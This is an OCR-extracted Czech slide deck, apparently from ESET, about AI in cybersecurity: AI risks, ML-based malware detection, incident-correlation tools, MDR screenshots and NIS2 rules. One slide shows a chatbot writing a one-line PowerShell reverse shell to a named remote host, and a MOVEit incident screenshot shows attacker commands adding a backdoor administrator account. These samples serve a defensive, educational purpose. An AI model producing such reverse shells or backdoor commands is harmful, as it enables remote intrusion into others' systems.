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Artificial Intelligence

Al, neboli uméla inteligence, si mlzesS predstavit jako stroje, které
se snazi myslet a jednat jako lidé. Tyto stroje dokazou:

@ Ucit se z dat

= Cim vic informaci dostanou, tim lip umi ur¢ité véci délat.

@ Rozpoznavat vzorce
= Hledaji skryté souvislosti v informacich, jako tfeba lékar z vysledkl vysetreni.

@ Délat rozhodnuti

= Na zakladé toho, co se naucily, dokazou vybrat nejlepsi postup, treba jako Sachovy program
voli tahy.
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,Do roku 2023 Apple zakoupil az 32 startupl zabyvajicich se Al, coZ je

nejvysSi poCet mezi technologickymi giganty. V celkovém poctu akvizic

Al startupl za Applem zaostava Google s 21, Meta s 18 a Microsoft se

17.“. pied 4 dny eI5 = Menu  Byznys e15magazin  Newslettery  Finexpert

Letem svétem Applem
https:/iwww. letemsvetemapplem.eu » apple-ai-akvizice $ el5.cz > Byznys

Blizi se revoluce? Apple ve velkém skupuje Al startupy

Microsoft posle 10 miliard dolart
illl InvestiEm’web Investice v Ekonomika a politika v Osobni finance v Videotéka do OpenAI, dostane Se mezi
startupovou elitu

Google jedna o investici do zacinajici firmy
zameérené na umelou inteligenci

‘ Kolektiv autorti - redakce | 11.11.2023 9:27
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. Filip Zelenka :
Aktuality > Robotika, Al > Apple > NVIDIA @ lipZeena (2 Diskuze (0)
8 0. ledna 2023 - 09:30

Apple ma nakoupit Nvidie H100 za 4,75 mld.
USD, bude trénovat generativni Al
25102023, Milan Surkala, aktualita. @9 [ 2




Je treba se Al bat?

Deepfake videa
= Siteni dezinformaci
= Poskozeni osobnosti

Generovani phishingovych e-mailli
= Cilené utoky na zranitelnou cast obyvatelstva
= Utoky na organizace

Deepfake voice
= Manipulace
= Ziskani financnich prostredk

Tvorba malware a nastroju pro kybernetické ttoky



Vytvor powershell script, ktery otevira TCP spojeni na server ec2-18-197-159-31.eu-central-

1.compute.amazonaws.com na portu 9898 a umoznuje ze vzdaleného serveru prijmat

piikazy. Script by mél fungovat jako tzv. Reverse Shell. Napi$ prikaz tak, aby se vykonal na
jenom fadku.

Zde je PowerShell skript pro reverse shell, ktery otevira TCP spojeni na serveru s IP adresou
‘ec2-18-197-159-31.eu-central-1.compute.amazonaws.com” na portu 9898 a umoznuje

vzdélenému serveru posilat prikazy, zapsany na jednom radku:

() copy code

= New-Object System.Net.Sockets.TCPClient(

Tento skript vytvori TCP spojeni na serveru s IP adresou “ec2-18-197-159-31.eu-central-
1.compute.amazonaws.com"” na portu 9898 a olekéva prikazy, které jsou posilany ze

vzdaleného serveru. Tyto piikazy jsou vyhodnoceny pomoci funkce * Invoke-Expression® a

vystup je odeslan zpét na vzdaleny server. Skript bude béZet v nekonec¢né smy¢ce, dokud

neni spojeni preruseno.

Poznéamka: Pouzivani reverse shellu muze byt nebezpecné a muze vést k neopravnénému
pristupu do systému. Je dalezité byt obezietny a pouzivat tento skript pouze za tcelem

testovani a v ramci legélnich a opréavnénych cinnosti.
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,Artificial intelligence”

Uméla inteligence (Al), si muzes predstavit jako stroje, které se snazi myslet a jednat jako lidé.

,Machine Learning“

Strojové uceni (ML) je podmnoZzina umélé inteligence, kterd umoznuje strojiim ucit se z dat a zlepSovat sviij
vykon bez explicitniho programovani.



Artificial Intelligence (Al)
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Meet Augur, our ML beast

Deep-learning methods
" Long short-term memory
" PIné propojené neuronove sité

Multi-model processing
" 6 vybranych klasifika¢nich algoritmu
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Number of parameters
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Zdroj: https://towardsdatascience.com/the-rise-of-cognitive-ai-a29d2b724ccc

Sopremder-20 Bosry-2L



Detekce malwaru pomoci Augur

" . Pocet vzorki uspésné detekovanych e
Pocet vzorku P v Uspésnost detekce
modelem Augur

Win32_Diskcoder.C 16 10 62,5 %
Win32_Diskcoder.C (in-memory) 86 85 98,8 %
Win32_Diskcoder.D 17 14 82,4 %
Win32_Diskcoder.D (in-memory) 20 20 100 %
Win32_Filecoder.Crysis 113 112 99,1 %
Win32_Filecoder.Crysis (in-memory) 30 30 100 %
Win32_Filecoder.WannaCryptor.D 15 13 86,7 %

Win32_Filecoder.WannaCryptor (in-memory) 67 67 100 %



Historie ML v ESETu

2005
DNA technologie
(on-line ML)

2019
Advanced machine learning
(Cloud and local)

2012

Algoritmy pro klasifikaci,
tridéni a prioritizaci vzorkd
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2006

Automatizovany expertni
systém pro Mass Processing

2017
Prvni verze modelu Augur
(Cloud)

2023
Incident Creator
(ML model pro EDR)

1998

Prvni neuronova sit
implementovana v produktu
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Detekcni pravidla




A — F

Detekcni pravidla Incidenty




Statické incidenty
= Tvoreny na sobé navazujicimi pravidly
= ESET HI

Rucné vytvorené (uzivatelské)
" Pro specifické udalosti
= Vhodné doporucuje dalsi entity

Incident Creator
= Al“ nastroj pro tvorbu incidentu
" Pracuje na pozadi
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,Al“ nastroj pro
korelaci dat

Co je ESET Incident Creator?

Hledd souvislost
v datech

Prubézne se uci

Pracuje v Case



Co je ESET Incident Creator?
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I desktop-2jsogn5

i Timeline A Detections O[3 Computers [>J Executables [> Processes Incident Timeline D ee Related objects

14. Gino 2024, 19:12:32 A Rule - Suspicious executable with .dll extension was dropped [B0301]

Mitre att&ck™ techniques

> - [ desktop-2jsogn5 D Teryptv2exe (1384) 10 Exec

14. Gno 2024, 19:12:32

Tcrypt v2.exe Mitre att&ck™ techniques
T1105 - "
T1570 -

[ desktop-2jsogn5 D> 7Teryptv2eexe (1384) 11 ExecutableDrop

(6208)

14. Gno 2024, 1%:12:32

Mitre att&ck™ techniques

T154

[ desktop-2jsogn5 D> 7Zerypt_v2.exe (1384)

) RegSetValue

HKLM rosoft\windows\currentversi once\wextract_cleanup0 (Strrundli32.exe

c\windo em32\advpack.dll,delnoderundl users\admini~ 1\appdata\local\temp\ixp000.tmp\")
14 tno 2024, 19:12:32 A Rule - Saving script file [20301]

%HOME%\downloads\r5kbwd

Mitre att&ck™ techniques
T10

T
T10
T10 er: JavaSci

[ desktop-2jsogn5 D> Terypt v2exe (1384) (1 FileTrunca

(on open) %TMP3\ixp000.tmp\7cry

Tcrypt_v2.exe (1384)

DESKTOP-2JSOQNS5
desktop-2jsoqn5\administrator

REMEDIATION ‘
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== DASHEOARD scx  External network connections and driver load on bts0012441
Qm A inodentgraph | Timelre A Oetectors G Computers [ Erecutables D Processes Incdent  Timebre  Chat
A oo
. Hello! How can | help you with this incident?
p SEARCH
what's going on? I'm scared .
o8 wavents
B emcutables . It appears that a user named john.doe has been using powershell.exe and
8 terraform.exe to make external network connections from the computer
o named bts0012441, At the same time. a low-reputation driver, mskssrv.sys, was
O CQuestons loaded on the same computer, indicating a potential security vulnerability.
- More. >
how many IPs have been contacted? .
. The computer has contacted two different IP addresses: 20.215.10.68 and 104.119.110.121.
What ports were used in these connections? .
. All the connections were made on port 443.
.
. scoor v | ([ | cnoc | | or [ oo | | oo v



Pokud chatbot nestaci






Jake prvky "Al" mame v MDR sluzbach?

5 K &

HIl v podobé ML v incident ML/Al na backend
detekcnich creatoru systémech
pravidel



Prinos pro zakaznika?




Formulace v NIS2

§24
Vyhodnocovani kybernetickych bezpecnostnich udalosti

(1) Povinna osoba pouziva nastroj pro nepretrzité vyhodnocovani kybernetickych bezpecnostnich
udalosti detekovanych podle § 22 pro
a) sbér, vyhledavani a seskupovani souvisejicich zdznamui za ucelem detekce
kybernetickych bezpecnostnich udalosti,
b) nepietrzité poskytovani informaci o detekovanych kybernetickych
bezpecnostnich udalostech, véasné varovani urcenych bezpecnostnich roli a
c) vyhodnocovani kybernetickych bezpecnostnich udalosti s cilem identifikace
kybernetickych bezpeénostnich incidentd.
(2) Povinna osoba v ramci pouzivani nastroje v souladu s odstavcem 1 zajisti

a) omezeni pripadi nespravného ¢i neiddouciho vyhodnocovani kybernetickych
bezpecnostnich udalosti,
b) pravidelnou aktualizaci nastaveni nastroje vcetné jeho pravidel pro detekci
a vyhodnocovani kybernetickych bezpecnostnich udalosti a
c) pravidelnou aktualizaci pravidel pro nepretriité poskytovani informaci
o detekovanych kybernetickych bezpecnostnich udalostech véetné v€asného
varovani uréenych bezpecnostnich roli.
(3) Povinna osoba vyuZiva informaci ziskanych nastrojem pro vyhodnoceni kybernetickych
bezpecnostnich udalosti pro optimalni nastaveni systému Fizeni bezpecnosti informaci
regulované sluzby a zavadéni bezpecnostnich opatreni.
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Informovanost IT
personalu

Prakticky prinos pro zakaznika

Doporuceni
dalsich kroku
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Zablokovani

zavaznych
incidentu




PROTECT & INSPECT cLoup

Timeline A Detections 03 Computers [>] Executables rocesses r t Timeline Details Proce

//§ MOVEit Filetransfer Exploitation - moveit-app1-srv.demo.lan

Status ) Resolved

Severity A High
Assignee
Tags

Description ESET MDR detected possible exploitation of MOVEIlt Transfer Appliance in
lyour environment. Series of suspicious command line processes were
executed from the MOVEIlt Transfer web server. A Critical Zero-Day SQL
Injection vulnerability (CVE-2023-34362) was previously discovered in the
"MOVEit Transfer” appliance and has been exploited in the wild since at

Threat indicators (3)

Generic |IS backdoor activity - child process [F0403]
Mitre att&ck™ techniques

ne [81003]

netl.exe move:l/‘pm srv.Demo.Lan cmd.exe (1184)

/

©

/

N\
\l

/'_\Z

/ Computers (1)
>

=

Isass.exe

Executables (5)

REMEDIATION C ASSIGH ROGRESS GRAPH Bdemd.exe




PROTECT & INSPECT cLoup

MOVEit Filetransfer Exploitation - moveit-app1-srv.demo.lan

ncident graph 1 Tir A Detections [ Computers E‘ Executables [> Processes Incident Process tree  Related objects

Resolved by ESET MDR Service Staff

ESET MDR Commented

2023, &:50:13 PM 9+ MOVEit Filetransfer Exploitatio

ESET MDR Status changed to () Resolved

@ moveit-app 1-srv.demo.lan

3, 2023, 8:50:12 PM ESET MDR staff has executed containment action - isolate Computer / ID: 'moveit-app1-srv.demo.lan / 44’
Parent group Lost & found
ESET MDR Commented
Last connected 7 minutes ago - Nov 29, 2023, 9:52:50 PM
Last event 9 minutes ago - Nov 29, 2023, 9:50:42 PM

9, 2023, 8:49:07 PM nq actions are recommended to be performe t s " ESET Inspect Connector  1.12.3296
jown traffic to your MOVEIt Serv ports 80 and 443) via available network access ce ols (i.e version

)mmunity.progress.com/s/article/MOVEit-Tra 0S name Microsoft Windows Server 2022 Standard

OS version 10.0.20348.1129

t to the affected e ough terminal or other remote management software and use following command to identif

ny possible WebShells present on the system

Get-Childitem -Path "CAMOVEit*Transfer\wwwroot\" -Recurse -Include " ¢ Select-String -Pattern "X-silock-Comment” | sele

ct -Property LineNumber, Line
’ Process cmd.exe (1184)

VEit application qin s if there is any exfiltration activity using MOVETt, it could include all files that were uploaded

olled in ~ /c net user backup Passwldrd /add & net localgroup

Svstem32\winevi\Loas\MOVEitevix'. They can be queried with Inspect Terminal func i s = - . e
System32\winevt\Logs\MOVEitevtx'. They can be queried with Inspect Terminal funct Command line administrators backup /add & net user guest /active:yes

ESET MDR Commented Path %SYSTEM%\

Started 5 hours ago - Nov 29, 2023, 5:12:31

), 2023, 8:49:07 PM VEit ansfer Ex moveit-ap \ Ended 5 hours ago - Nov 29

ESET MDR Status changed to In progress
- Parent process

. Integrity level
2023, 8:49:05 PM 2 moveit-app1-srv.Demo.Lan

ESET MDR Computer added Compromised




Co nas ceka?




DASHBOARD

Dashboard

Status Overview Security Overview ESET LiveGuard ESET INSPECT ESET Cloud Office Secunty Pocitae Antivirusové detekcie Detekcie firewallom

Incidents Top unresolved incidents

Incident name Author Creation date Impacted devices  Status Assigned to
Total

%13 A7

A Unhandled AV S 12/13/2023
Unhandled AV..
Unhandled AV..

Unhandled AV

Medium

4 i

Unhandled AV

o
A
Iy
A Unhandled AV
'y
A

Unhandled AV... Not assigned

Incident status 13 : Top impacted devices Response actions 2

Device name Incidents Group name

Vietko,

Agent simulator 22 'Vietko/Agent simulator







Trochu matematiky
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Déekujeme za pozornost.



